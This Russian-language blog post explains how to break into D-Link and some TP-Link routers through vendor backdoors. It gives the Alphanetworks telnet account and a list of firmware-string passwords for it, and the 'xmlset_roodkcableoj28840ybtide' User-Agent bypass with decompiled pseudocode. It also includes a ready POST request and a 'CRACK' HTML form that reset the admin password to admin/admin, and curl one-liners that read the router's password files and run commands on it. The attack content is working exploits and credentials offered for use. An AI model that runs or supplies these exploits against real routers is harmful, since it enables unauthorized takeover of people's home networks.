Взлом роутера D-link через встроенный бэкдор

В последнее время в сети появилось много информации о том что множество домашних роутеров подвержены уязвимостям. Как привило эти уязвимости связаны с встроеной операционной системой роутеров. Сегодня мы расмотрим очередной пример уязвимых устройств только с ними ситуация еще проще. Производитель сам вставил в код операционной системы роутера функционал позволяющий получить к нему доступ.

В начале года вернулась мода копать различные устройства под рукой, например роутеры. Доступен, распространен, а собой представляет целый мини-компьютер. Тут тебе обычно и Линукс, и веб-морда. И не задалось с D-Link’ом: сначала у них выявили уязвимости в стиле конца 90-х — начала 2000-х, но это ладно. А потом начали находиться разные неприятные бэкдоры.
Первый из них затрагивает модели DIR-300revA, DIR-300revB, DIR-600revB. На устройствах присутствует следующий скрипт:

./rootfs/etc/scripts/misc/telnetd.sh
#!/bin/sh
image_sign=cat /etc/confi g/image_sign
TELNETD=rgdb -g /sys/telnetd
if [ "$TELNETD" = "true" ]; then
echo "Start telnetd ..." > /dev/console
if [ -f "/usr/sbin/login" ]; then
lf=rgdb -i -g /runtime/layout/lanif
telnetd -l "/usr/sbin/login" -u Alphanetworks:$image_sign -i $lf &
else
telnetd &
fi
fi
root@bt:~/fi rmware/DIR300-extracted# cat rootfs/etc/confi g/image_sign
wrgg19_c_dlwbr_dir300

Для нас ключевая строчка — поднятие демона telnetd и указание юзера и пароля. Юзер — Alphanetworks, пароль — версия текущей прошивки. Неприятно, не правда ли? Ну да ладно, едем дальше, стали копать их глубже. Теперь к списку добавляются следующие модели:

• DIR-100;
• DI-524;
• DI-524UP;
• DI-604S;
• DI-604UP;
• DI-604+;
• TM-G5240;
• Planex BRL-04UR (роутеры используют прошивку от D-Link);
• Planex BRL-04CW.

Взлом роутера D-link
Прошивка D-Link. Интересное сравнение строк в alpha_auth_check

Крейг Хеффнер (Craig Heffner) разреверсил прошивки для этих устройств и сообщил, что нашел интересное место при авторизации на роутере. Если юзерагент равен значению xmlset_roodkcableoj28840ybtide, то авторизация не требуется. Если прочитать строчку задом наперед, получится editby04882joelbackdoor_teslmx, что явно говорит о назначении данного кода. Но сделаем некоторое отступление. Есть непроверенная информация, что данная «фича» юзалась для реконфигурации DNS-сервера какой-то из либ на роутере (начало UA намекает об этом — xmlset) и это просто возможный костыль и злого умысла не было. Но так или иначе, даже если это так — это непростительный в данном случае костыль.
D-Link выпустил обновленные прошивки, исправляющие эти уязвимости. Конечно, все перечисленные модели довольно старые, но очень популярные устройства, разошедшиеся в свое время большим тиражом.

Эксплуатация бэкдора довольна проста, и её суть показана на следующей иллюстрации:

Инструкция по взлому роутера D-Link:

  1. Пользователь выполняет HTTP-запрос:
    http://192.168.0.1/userRpmNatDebugRpm26525557/start_art.html
  2. Роутер подключается к IP-адресу, сделавшему данный запрос, и пробует найти TFTP-сервер.
  3. В случае если TFTP-сервер найден, роутер скачивает файл «nart.out»
  4. Скачанный файл запускается с привилегиями root-пользователя

Скорее всего данный бэкдор может быть использован только внутри сети.
Бэкдор содержат следующие модели роутеров: TL-WDR4300, TL-WR743ND (v1.2 v2.0). Однако данный список может быть не полным.
Оригинал: link

UPDATE от меня:
Помимо URL, который указан выше, в прошивке для TL-WDR4300 содержатся еще два:

Обработка HTTP-запроса к /userRpm/DebugResultRpm.htm:

Как мы видим у скрипта есть три параметра:
/userRpm/DebugResultRpm.htm?cmd=CMD&wan_bpa_usr=osteam&passwd=5up

Если при запросе к этому URL комманда действительно выполняется, то это дает возможность произвести красивую CSRF-атаку (например сменить роутинг или изменить hosts-файл).
Нужны добровольцы с TP-Link, которые могли бы проверить этот URL.

 

На информационном портале devttys0.com некто Craig Heffner – опытный специалист в области реверс-инжиниринга – выложил статью-исследование очередной программной закладки в роутерах D-Link. На этот раз закладка была выявлена в официальной прошивке для DIR-100 revA, но, по его мнению, присутствует в роутерах других серий:

  • DIR-100
  • DI-524
  • DI-524UP
  • DI-604S
  • DI-604UP
  • DI-604+
  • TM-G5240
  • Planex BRL-04UR
  • Planex BRL-04CW

Коротко говоря, если у вашего браузера установлен User-Agent как «xmlset_roodkcableoj28840ybtide», то вы автоматически получаете админский доступ к веб-панели управления роутером без всякой авторизации.

Первым делом автор скачал официальную прошивку firmware v1.13 для DIR-100 (для его DI-524 используется та же самая). Затем прошёлся по бинарнику своей утилитой binwalk и вынул SquashFS с ситемой, откуда взял веб-сервер /bin/webs и загрузил его в IDA:
image

Судя по строкам, /bin/webs это модифицированная версия thttpd. Авторы модификации — Alphanetworks, подразделение D-Link, все добавленные методы начинаются с префикса alpha:
image

alpha_auth_check

Данная функция кажется наиболее интересной. При детальном анализе выясняется, что в ней выполняется сравнение строк – строка со смещением 0xD0 в структуре http_request_t и константой«xmlset_roodkcableoj28840ybtide». Если совпадают, то alpha_auth_check сразу же возвращает 1 (успешная авторизация).

Автор погуглил константу xmlset_roodkcableoj28840ybtide и нашёл единственное упоминание на русском форуме: http://forum.codenet.ru/q58748. Сообщения датируются 2010 годом, но про то, каким образом в бинарнике используется эта строка, никто не упомянул.

Продолжая исследование, Craig находит, что по смещению 0xD0 в структуру http_request_t данные пишутся функцией httpd_parse_request.
imageimage

Собирая всю полученную информацию воедино, автор в конечном итоге составляет следующий псевдокод для функции alpha_auth_check:

#define AUTH_OK 1
#define AUTH_FAIL -1

int alpha_auth_check(struct http_request_t *request)
{
    if(strstr(request->url, "graphic/") ||
       strstr(request->url, "public/") ||
       strcmp(request->user_agent, "xmlset_roodkcableoj28840ybtide") == 0)
    {
        return AUTH_OK;
    }
    else
    {
        // These arguments are probably user/pass or session info
        if(check_login(request->0xC, request->0xE0) != 0)
        {
            return AUTH_OK;
        }
    }

    return AUTH_FAIL;
}

 

You stay classy, D-Link 🙂

Также данной уязвимости подвержены устройства:

 

Уязвимость у D-Link DIR-300 давно известна. Суть ее проста, возможность увидеть конфигурацию роутера, а иногда и изменить пароль у admin

DIR-300

Уведомление о безопасности.

Суть в создании POST запроса к роутеру по адресу http://192.168.0.1:80/tools_admin.php следующего содержания:

1
2
3
4
5
6
7
8
ACTION_POST=LOGIN&
LOGIN_USER=a&
LOGIN_PASSWD=b&
login=+Log+In+&
NO_NEED_AUTH=1&
AUTH_GROUP=0&
admin_name=admin&
admin_password1=admin

После этого можно зайти на устройство используя следующую пару логин/пароль: admin/admin

Для удобства можно создать следующий html форму:

1
2
3
4
5
6
7
8
9
10
11
12
13
<form action="http://192.168.0.1/tools_admin.php" method="POST">
	<input type="hidden" name="ACTION_POST" value="LOGIN" />
	<input type="hidden" name="LOGIN_USER" value="a" />
	<input type="hidden" name="LOGIN_PASSWD" value="b" />
	<input type="hidden" name="login" value="+Log+In+" />
	<input type="hidden" name="NO_NEED_AUTH" value="1" />
	<input type="hidden" name="AUTH_GROUP" value="0" />
	Login:
	<input type="text" name="admin_name" value="admin" />
	Password:
	<input type="text" name="admin_password1" value="admin" />
	<input type="submit" value="CRACK" />
</form>

В новых версиях прошивок данную ошибку прикрыли, но осталась возможность просматривать настройки, для этого достаточно передавать некоторые параметры в GET запросах к роутеру:

1
http://192.168.0.1/tools_admin.php?NO_NEED_AUTH=1&AUTH_GROUP=0

Подробнее можно почитать тут.

Есть еще одна возможность. При включении/перезагрузке роутера на некоторое время запускается telnet-сервер доступный всем пользователям LAN/WLAN, который можно использовать для безусловного получения полных административных прав (root) на роутере. Стандартная учетная запись:Alphanetworks Пароль: wrgg19_c_dlwbr_dir300

Тов. N!K!TA подбросил еще пару возможных паролей: wrgn23_dlwbr_dir300bи wrgn49_dlob_dir300b5

Вот еще для Dir-320 wrgg27_dlwbr_dir320

Вот еще пары — логин-пароль от PingWinbl4:
Alphanetworks wrgg19_c_dlwbr_dir300

Alphanetworks wrgn49_dlob_dir600b

Alphanetworks wrgn23_dlwbr_dir600b

Alphanetworks wrgn22_dlwbr_dir615

Alphanetworks wrgnd08_dlob_dir815

Alphanetworks wrgg15_di524

Alphanetworks wrgn39_dlob.hans_dir645

Подробнее можно почитать тут.

Сама уязвимость

Взлом через Telnet

Так же замечу что у DIR-300 файл настроек http://192.168.0.1/config.bin зашифрован, но вытащить необходимые данные из него можно с помощьюRouterPassView

Тов. Дядюшка подбросил еще одну уязвимость:

1
http://192.168.0.1/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd

Все это относится и к Dir-320 (прим. версии A) На картинке демонстрирую их работу:

После авторизации в админке благодаря этой конструкции можно рестарнуть роутер:

1
http://192.168.0.1/sys_cfg_valid.xgi?&exeshell=submit%20REBOOT

Вот видео демонстрирующее полный взлом DIR-300 через Wi-Fi (WPA2 WPS):

Вот еще некоторые штуковины, которые стоит опробовать:

1
curl --data "cmd=cat /var/passwd" http://192.168.0.1/command.php
1
http://192.168.0.1/DevInfo.txt

Подробнее тут

1
curl 192.168.2.1 -A "xmlset_roodkcableoj28840ybtide"

Подробнее тут

Уязвимость CVE-2002-0140 DNS демона dnrd тут и тут

Click to rate this post!
[Total: 20 Average: 3.5]

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

2 comments On Взлом роутера D-link через встроенный бэкдор

Leave a reply:

Your email address will not be published.